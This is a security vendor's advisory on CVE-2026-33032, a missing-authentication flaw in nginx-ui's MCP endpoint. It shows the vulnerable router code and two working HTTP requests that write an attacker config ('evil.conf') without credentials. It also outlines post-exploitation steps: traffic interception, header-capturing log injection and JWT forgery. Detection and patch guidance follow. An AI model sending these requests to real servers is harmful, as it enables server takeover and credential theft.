CVE-2026-33032 (MCPwn): How a Missing Middleware Call in nginx-ui Hands Attackers Full Web Server Takeover

Sıla Özeren Hacıoğlu | 10 MIN READ

| April 16, 2026

Key Points

  • CVE-2026-33032 is a CVSS 9.8 authentication bypass in nginx-ui's Model Context Protocol (MCP) integration [1].
  • The /mcp_message endpoint, which handles every destructive tool invocation, is missing the AuthRequired() middleware that its paired /mcp endpoint has.
  • Any network-adjacent attacker can invoke 12 MCP tools (including nginx_config_add with auto-reload) with zero credentials, achieving complete nginx takeover in two HTTP requests.
  • The flaw is actively exploited in the wild, added to the VulnCheck KEV list on April 13, 2026, and listed by Recorded Future's Insikt Group among the 31 most-exploited CVEs of March 2026.
  • Patch to nginx-ui v2.3.4 or later immediately.
  • Credit for discovery and responsible disclosure goes to security researcher Yotam Perkal [2].

Quick Answer Box

Field

Value

CVE ID

CVE-2026-33032

Alias

MCPwn

CVSS v3.1 Score

9.8 (Critical)

Vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-306 — Missing Authentication for Critical Function

Affected Product

nginx-ui (all versions ≤ 2.3.3 with MCP enabled)

Fixed In

nginx-ui v2.3.4 (released March 15, 2026)

Related CVE

CVE-2026-27944 (CVSS 9.8, /api/backup credential exposure)

Exploitation

Confirmed in the wild (VulnCheck KEV, April 13, 2026)

Exposed Instances

~2,689 publicly reachable (Shodan)

What Is CVE-2026-33032 (MCPwn)?

CVE-2026-33032 is a critical authentication bypass vulnerability in nginx-ui, the popular open-source web interface for managing nginx servers (11,000+ GitHub stars, 430,000+ Docker pulls).

The flaw lives in the tool's newly added Model Context Protocol (MCP) integration, the feature that lets AI assistants configure nginx on a user's behalf.

In short: the MCP router wires up two HTTP endpoints that both reach the same powerful handler, but only one of them checks authentication. The unauthenticated endpoint is the one that actually performs destructive operations.

An unauthenticated attacker on the same network can:

  • Read any nginx configuration file
  • Write arbitrary new config files and trigger automatic reload
  • Restart the nginx process
  • Enable, disable, or rename virtual host configurations
  • Pivot into credential theft by injecting access_log directives that capture Authorization headers
  • Forge admin JWTs after extracting the JwtSecret via the hijacked admin session
  • Knock nginx offline with an invalid config

Because nginx-ui typically sits in front of production traffic, APIs, and internal services, compromise of nginx-ui is compromise of everything behind it.

Why CVE-2026-33032 Vulnerability Matters Right Now

Three factors elevate MCPwn above a typical web-app CVE:

It is already being exploited

  • VulnCheck added CVE-2026-33032 to its Known Exploited Vulnerabilities (KEV) catalog on April 13, 2026.
  • Recorded Future's Insikt Group ranked it 94/100 on its Risk Score and named it one of the 31 most-exploited CVEs of March 2026.
  • This is placing it alongside actively weaponized flaws in Cisco, Microsoft, Google, and Citrix products.

The exploit is trivial

Two HTTP requests. No chained gadgets, no memory corruption, no sandbox escape.

A competent adversary can script the end-to-end attack in under fifty lines of Python.

The exposure is measurable and large

A Shodan favicon-hash search (http[.]favicon[.]hash:-1565173320) returns roughly 2,689 publicly reachable nginx-ui instances.

The largest clusters are in China, the United States, Indonesia, Germany, and Hong Kong, hosted across Alibaba Cloud, Oracle, Tencent, and DigitalOcean.

Every unpatched instance is a one-shot gateway to the nginx server behind it, and to every upstream service that nginx fronts.

Technical Root Cause: Two Endpoints, One Gate

nginx-ui uses the SSE (Server-Sent Events) transport from the mcp-go library. SSE is a two-endpoint design by construction:

  • GET /mcp — opens a persistent event stream. The server assigns a session ID here and streams JSON-RPC responses back over it.
  • POST /mcp_message?sessionId=<id> — the inbound channel where clients POST JSON-RPC tool invocations. Every destructive operation — config writes, nginx reloads, file reads — flows through this endpoint.

Here is the vulnerable router in nginx-ui v2.3.3 and earlier (mcp/router.go):

// Vulnerable -- v2.3.3 and earlier
func InitRouter(r *gin.Engine) {
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
r.Any("/mcp_message", middleware.IPWhiteList(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
}

Look at the two routes side-by-side.

/mcp chains IPWhiteList() and AuthRequired(). /mcp_message chains IPWhiteList() only.

Both forward into the same mcp.ServeHTTP(c) handler, so /mcp_message inherits full tool-invocation power but drops the authentication check.

The attached diagram makes the gap visible at a glance: two endpoints, same handler, only one gate actually checks credentials. That single missing middleware reference is the entire vulnerability.

The Safety Net That Isn't: Fail-Open IP Whitelisting

With authentication gone, the only remaining control on /mcp_message is the IP whitelist. But the whitelist middleware fails open on a default (empty) configuration:

// internal/middleware/ip_whitelist.go
if len(settings.AuthSettings.IPWhiteList) == 0 {
c.Next() // Empty whitelist → allow everyone
return
}

Fresh installs, default configs, and any operator who simply never touched the IP whitelist setting are allowing every host on the network through. This is the textbook definition of a fail-open security control, and it turns a misconfiguration-class flaw into a default-case vulnerability.

Every unpatched nginx-ui with MCP enabled is exploitable out of the box.

The Attack Chain: Two Requests to Full Takeover

The diagram's lower half captures the flow cleanly. Here is the same flow in text, with protocol detail.

Figure 1. Diagram of CVE-2026-33032: nginx-ui's /mcp endpoint enforces authentication while /mcp_message does not, enabling unauthenticated nginx takeover in two HTTP requests.

Figure 1. Diagram of CVE-2026-33032: nginx-ui's /mcp endpoint enforces authentication while /mcp_message does not, enabling unauthenticated nginx takeover in two HTTP requests.

Step 0 (optional prerequisite): Obtaining node_secret

MCP session establishment on GET /mcp still requires the node_secret query parameter. In a fully defaulted deployment this is a barrier, but one that collapses in two common scenarios:

  • Chained with CVE-2026-27944 (CVSS 9.8, also unauthenticated) — the /api/backup endpoint in nginx-ui < 2.3.3 leaks the encryption keys needed to decrypt backups without authentication. An attacker can download a full system backup and extract user credentials, SSL private keys, nginx configurations, and the node_secret value itself.
  • Internal/LAN attacker — on many deployments node_secret is present in environment variables, Docker Compose files, or Kubernetes secrets accessible from a compromised neighboring workload.

Either path delivers node_secret, which is all the attacker needs to move past step 1.

Step 1: Establish an SSE session

HTTP

GET /mcp?node_secret=<leaked_or_known_secret> HTTP/1.1
Host: target:9000
Accept: text/event-stream

Server Response

event: endpoint
data: /mcp_message?sessionId=4f4cdb82-152b-4c10-8f63-1df90e1e061f

Step 2: Invoke any MCP tool with no authentication

HTTP

POST /mcp_message?sessionId=4f4cdb82-152b-4c10-8f63-1df90e1e061f HTTP/1.1
Host: target:9000
Content-Type: application/json

{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"path": "conf.d/evil.conf",
"content": "server { listen 80; server_name _; return 200 'pwned'; }"
}
}
}

No Authorization header. No JWT. No cookies. No node_secret on this request.

nginx_config_add writes the file and automatically triggers a configuration reload, config injection and activation in a single call.

The Full Tool Inventory an Attacker Gets

Destructive (7)

Tool

Capability

nginx_config_add

Create config files + auto-reload nginx

nginx_config_modify

Modify any existing config

nginx_config_enable

Enable/disable sites

nginx_config_rename

Rename config files

nginx_config_mkdir

Create directories

reload_nginx

Reload configuration

restart_nginx

Restart the process

Reconnaissance (5)

Tool

Capability

nginx_config_get

Read any config file

nginx_config_list

Enumerate all configurations

nginx_config_base_path

Get config directory path

nginx_config_history

View config change history

nginx_status

Read server status

Post-Exploitation Playbook: What Attackers Actually Do

Writing a demo page is the PoC.

The realistic attack tree is worse:

Traffic interception.

Rewrite upstream server blocks to proxy every request through an attacker-controlled endpoint.

The attacker now sees every request, response, session cookie, API token, and form submission that transits the nginx server.

Credential harvesting via log injection.

Inject a custom log_format that captures Authorization headers, plus an access_log directive scoped to the nginx-ui management path.

Administrators who subsequently log into nginx-ui leak their JWTs into a log file the attacker can then read back via nginx_config_get on the log path (or via a symlinked location served by the injected server block).

Persistence via JwtSecret theft.

Once the attacker has captured one admin JWT, they call the authenticated nginx-ui settings API and extract the JwtSecret.

From there they can forge admin JWTs for any user indefinitely; persistence that survives config rollback, because the secret itself is now attacker-known.

Reconnaissance and lateral movement.

nginx_config_list + nginx_config_get expose the entire internal service topology: upstream hostnames, backend ports, TLS certificate paths, internal service names.

This is a map of the environment, handed over unauthenticated.

Denial of service.

Write a syntactically invalid config, call reload_nginx, nginx refuses to reload or crashes on restart.

Everything behind it goes dark.

Detection Guidance

If you run nginx-ui and cannot immediately patch, hunt for the following indicators.

Network-layer indicators

  • Any POST request to /mcp_message from an IP outside your operator allow-list
  • GET /mcp?node_secret=... requests from unexpected source IPs
  • Long-lived SSE connections to /mcp from hosts that are not your AI/automation tooling

Host-layer indicators on the nginx-ui server

  • New or modified files under conf.d/, sites-enabled/, sites-available/ that you did not deploy via your normal change-management pipeline
  • New entries in the nginx-ui config change history (nginx_config_history records) without a corresponding ticket or PR
  • Unexpected reloads in nginx error logs (signal process started) during windows when no legitimate change was pushed
  • Unusual log_format or access_log directives — especially any that reference $http_authorization, $http_cookie, or full request bodies

Identity-layer indicators

  • nginx-ui admin logins from unfamiliar IPs or user-agents
  • JWTs with anomalous iat/exp skew (suggesting forged tokens after JwtSecret theft)

Remediation Plan for CVE-2026-33032 In Priority Order

Priority 1: Update to nginx-ui v2.3.4 or later.

This is the only complete fix. Commit 413dc63 adds the missing AuthRequired()middleware and ships a regression test (mcp/router_test.go) that asserts both /mcp and /mcp_message return HTTP 403 without authentication. If the test had existed originally, the CVE would not exist.

Priority 2: If you cannot patch right now, apply one or both of these emergency mitigations and treat them as stopgaps, not solutions:

  • Disable MCP entirely if you are not actively using it.
  • Populate the IP whitelist with an explicit allow-list of trusted hosts. Never leave it empty — empty means allow-all.
  • Add middleware.AuthRequired() to the /mcp_message route manually if you build from source.

Priority 3: Rotate everything that might have been exposed. If you have any reason to suspect exploitation, treat the following as compromised: the nginx-ui JwtSecret, all nginx-ui user credentials, any SSL private keys that were managed through nginx-ui, and the node_secret. Also rotate credentials for any upstream services nginx fronted — assume traffic interception.

Priority 4: Audit conf.d/, sites-enabled/, and nginx access-log formats for unauthorized modifications since MCP was enabled.

Priority 5: Restrict network exposure. nginx-ui's management interface (default port 9000) should not be reachable from the public internet.

The 2,600+ Shodan-exposed instances are failing this rule; do not be one of them.

How Picus Helps Simulate CVE-2026-33032 Vulnerability Exploitation Attacks?

We also strongly suggest simulating the nginx-ui CVE-2026-33032 (MCPwn) vulnerability to test the effectiveness of your security controls against sophisticated cyber attacks using the Picus Security Validation Platform. You can also test your defenses against other vulnerability exploitation attacks, such as regreSSHion, Citrix Bleed, and Follina, within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for nginx-ui CVE-2026-33032 (MCPwn) exploitation attacks:

Threat ID

Threat Name

Attack Module

69689

NGINX UI Web Attack Campaign

Web Application

Start simulating emerging threats today and get actionable mitigation insights with a  14-day free trial  of the Picus Security Validation Platform.

References

[1] “NVD - CVE-2026-33032.” Available: https://nvd.nist.gov/vuln/detail/CVE-2026-33032. [Accessed: Apr. 16, 2026]

[2] Y. Perkal, “MCPwn: A CVSS 9.8 One-Line MCP Bug That Hands Over Your Nginx to Anyone on the Network – Actively Exploited in the Wild,” Pluto Security, Apr. 15, 2026. Available: https://pluto.security/blog/mcp-bug-nginx-security-vulnerability-cvss-9-8/. [Accessed: Apr. 16, 2026]

 
Yes. VulnCheck added it to its Known Exploited Vulnerabilities catalog on April 13, 2026, and Recorded Future's Insikt Group listed it among the 31 most-exploited CVEs of March 2026 with a Risk Score of 94/100.
All versions up to and including v2.3.3 with MCP enabled. v2.3.4 (released March 15, 2026) contains the fix. Note: some advisory databases list incorrect affected-version ranges; v2.3.3 is the last vulnerable release per source-code verification.
They need node_secret to establish the SSE session on /mcp — but once the session ID is obtained, POST /mcp_message requires no authentication whatsoever. And node_secret itself can be recovered without authentication by chaining CVE-2026-27944 (the /api/backup disclosure).
Yes, if the nginx-ui management port (default 9000) is internet-reachable. Shodan currently shows ~2,689 such instances. Even if not internet-exposed, any attacker with network adjacency, a compromised container, a neighboring cloud workload, a foothold on the internal network, can exploit it.
MCPwnfluence (CVE-2026-27825 / CVE-2026-27826 in the Atlassian MCP server) and MCPwn (CVE-2026-33032 here) are distinct vulnerabilities in different products, both disclosed by Pluto Security as part of the same research program mapping MCP-ecosystem risk. They share a class of failure, MCP endpoints under-protected relative to the host application, but are not technically chained.

Table of Contents

Ready to start? Request a demo